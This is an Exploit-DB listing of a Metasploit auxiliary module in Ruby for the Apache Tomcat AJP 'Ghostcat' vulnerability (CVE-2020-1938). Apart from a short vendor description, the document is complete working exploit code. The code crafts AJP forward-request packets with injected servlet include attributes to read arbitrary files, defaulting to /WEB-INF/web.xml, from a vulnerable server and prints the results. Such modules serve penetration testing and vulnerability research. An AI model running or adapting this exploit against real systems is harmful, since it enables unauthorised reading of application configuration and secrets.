Apache Tomcat – AJP ‘Ghostcat’ File Read/Inclusion (Metasploit)

  • 作者: SunCSR
    日期: 2020-11-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49039/
  • require "msf/core"
    
    class MetasploitModule < Msf::Auxiliary
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Tcp
    
    def initialize(info = {})
    super(update_info(info,
    "Name" => "Ghostcat",
    "Description" => %q{
    When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
    },
    "Author" =>
    [
    "A Security Researcher of Chaitin Tech", #POC
    "ThienNV - SunCSR" #Metasploit Module
    ],
    "License" => MSF_LICENSE,
    "References" =>
    [
    [ "CVE", "2020-1938"]
    ],
    "Privileged" => false,
    "Platform" => %w{ java linux win},
    "Targets" =>
    [
    ["Automatic",
    {
    "Arch" => ARCH_JAVA,
    "Platform" => "win"
    }
    ],
    [ "Java Windows",
    {
    "Arch" => ARCH_JAVA,
    "Platform" => "win"
    }
    ],
    [ "Java Linux",
    {
    "Arch" => ARCH_JAVA,
    "Platform" => "linux"
    }
    ]
    ],
    "DefaultTarget" => 0))
    register_options(
    [
    OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]),
    OptBool.new('SSL', [ true, 'SSL', false ]),
    OptPort.new('PORTWEB', [ false, 'Set a port webserver'])
    ],self.class)
    end
    
    def method2code(method)
    methods = {
    "OPTIONS" => 1,
    "GET" => 2,
    "HEAD" => 3,
    "POST" => 4,
    "PUT" => 5,
    "DELETE" => 6,
    "TRACE" => 7,
    "PROPFIND" => 8
    }
    code = methods[method]
    return code
    end
    
    def make_headers(headers)
    header2code = {
    "accept" => "\xA0\x01",
    "accept-charset" => "\xA0\x02",
    "accept-encoding" => "\xA0\x03",
    "accept-language" => "\xA0\x04",
    "authorization" => "\xA0\x05",
    "connection" => "\xA0\x06", 
    "content-type" => "\xA0\x07", 
    "content-length" => "\xA0\x08", 
    "cookie" => "\xA0\x09",
    "cookie2" => "\xA0\x0A", 
    "host" => "\xA0\x0B", 
    "pragma" => "\xA0\x0C",
    "referer" => "\xA0\x0D", 
    "user-agent" => "\xA0\x0E"
    }
    headers_ajp = Array.new
    for (header_name, header_value) in headers do
    code = header2code[header_name].to_s
    if code != ""
    headers_ajp.append(code)
    headers_ajp.append(ajp_string(header_value.to_s))
    else
    headers_ajp.append(ajp_string(header_name.to_s))
    headers_ajp.append(ajp_string(header_value.to_s))
    end
    end
    return int2byte(headers.length,2), headers_ajp
    end
    def make_attributes(attributes)
    attribute2code = {
    "remote_user" => "\x03",
    "auth_type" => "\x04",
    "query_string" => "\x05",
    "jvm_route" => "\x06",
    "ssl_cert" => "\x07",
    "ssl_cipher" => "\x08",
    "ssl_session" => "\x09",
    "req_attribute" => "\x0A",
    "ssl_key_size" => "\x0B"
    }
    attributes_ajp = Array.new
    for attr in attributes
    name = attr.keys.first.to_s
    code = (attribute2code[name]).to_s
    value = attr[name]
    if code != ""
    attributes_ajp.append(code)
    if code == "\x0A"
    for v in value
    attributes_ajp.append(ajp_string(v.to_s))
    end
    else
    attributes_ajp.append(ajp_string(value.to_s))
    end
    end
    end
    return attributes_ajp
    end
    
    def ajp_string(message_bytes)
    message_len_int = message_bytes.length
    return int2byte(message_len_int,2) + message_bytes + "\x00"
    end
    
    def int2byte(data, byte_len=1)
    if byte_len == 1
    return [data].pack("C")
    else
    return [data].pack("n*")
    end
    end
    
    def make_forward_request_package(method,headers,attributes)
    
    prefix_code_int = 2
    prefix_code_bytes = int2byte(prefix_code_int)
    method_bytes = int2byte(method2code(method))
    protocol_bytes = "HTTP/1.1"
    req_uri_bytes = "/index.txt"
    remote_addr_bytes = "127.0.0.1"
    remote_host_bytes = "localhost"
    server_name_bytes = datastore['RHOST'].to_s
    
    if datastore['SSL'] == true
    is_ssl_boolean = 1
    else
    is_ssl_boolean = 0
    end
    server_port_int = datastore['PORTWEB']
    if server_port_int.to_s == ""
    server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
    end
    is_ssl_bytes = int2byte(is_ssl_boolean,1)
    server_port_bytes = int2byte(server_port_int, 2)
    headers.append(["host", "#{server_name_bytes}:#{server_port_int}"])
    num_headers_bytes, headers_ajp_bytes = make_headers(headers)
    
    attributes_ajp_bytes = make_attributes(attributes)
    message = Array.new
    message.append(prefix_code_bytes)
    message.append(method_bytes)
    message.append(ajp_string(protocol_bytes.to_s))
    message.append(ajp_string(req_uri_bytes.to_s))
    message.append(ajp_string(remote_addr_bytes.to_s))
    message.append(ajp_string(remote_host_bytes.to_s))
    message.append(ajp_string(server_name_bytes.to_s))
    message.append(server_port_bytes)
    message.append(is_ssl_bytes)
    message.append(num_headers_bytes)
    message += headers_ajp_bytes
    message += attributes_ajp_bytes
    message.append("\xff")
    message_bytes = message.join
    send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s)
    return send_bytes
    end
    
    def send_recv_once(data)
    buf = ""
    begin
    connect(true, {'RHOST'=>"#{datastore['RHOST'].to_s}", 'RPORT'=>datastore['RPORT'].to_i, 'SSL'=>datastore['SSL']})
    sock.put(data)
    buf = sock.get_once || ""
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
    ensure
    disconnect
    end
    return buf
    end
    
    def read_buf_string(buf, idx)
    len = buf[idx..(idx+2)].unpack('n')[0]
    idx += 2
    print "#{buf[idx..(idx+len)]}"
    idx += len + 1
    idx
    end
    
    def parse_response(buf, idx)
    common_response_headers = {
    "\x01" => "Content-Type",
    "\x02" => "Content-Language",
    "\x03" => "Content-Length",
    "\x04" => "Date",
    "\x05" => "Last-Modified",
    "\x06" => "Location",
    "\x07" => "Set-Cookie",
    "\x08" => "Set-Cookie2",
    "\x09" => "Servlet-Engine",
    "\x0a" => "Status",
    "\x0b" => "WWW-Authenticate",
    }
    idx += 2
    idx += 2
    if buf[idx] == "\x04"
    idx += 1
    print "Status Code: "
    idx += 2
    idx = read_buf_string(buf, idx)
    puts
    header_num = buf[idx..(idx+2)].unpack('n')[0]
    idx += 2
    for i in 1..header_num
    if buf[idx] == "\xA0"
    idx += 1
    print "#{common_response_headers[buf[idx]]}: "
    idx += 1
    idx = read_buf_string(buf, idx)
    puts
    else
    idx = read_buf_string(buf, idx)
    print(": ")
    idx = read_buf_string(buf, idx)
    puts
    end
    end
    elsif buf[idx] == "\x05"
    return 0
    elsif buf[idx] == "\x03"
    idx += 1
    puts
    idx = read_buf_string(buf, idx)
    else
    return 1
    end
    
    parse_response(buf, idx)
    end
    
    def run
    headers = Array.new
    method = "GET"
    target_file = datastore['FILENAME'].to_s
    attributes = [
    {"req_attribute" => ["javax.servlet.include.request_uri", "index"]},
    {"req_attribute" => ["javax.servlet.include.path_info" , target_file]},
    {"req_attribute" => ["javax.servlet.include.servlet_path" , "/"]}
    ]
    data = make_forward_request_package(method, headers, attributes)
    buf = send_recv_once(data)
    parse_response(buf, 0)
    end
    end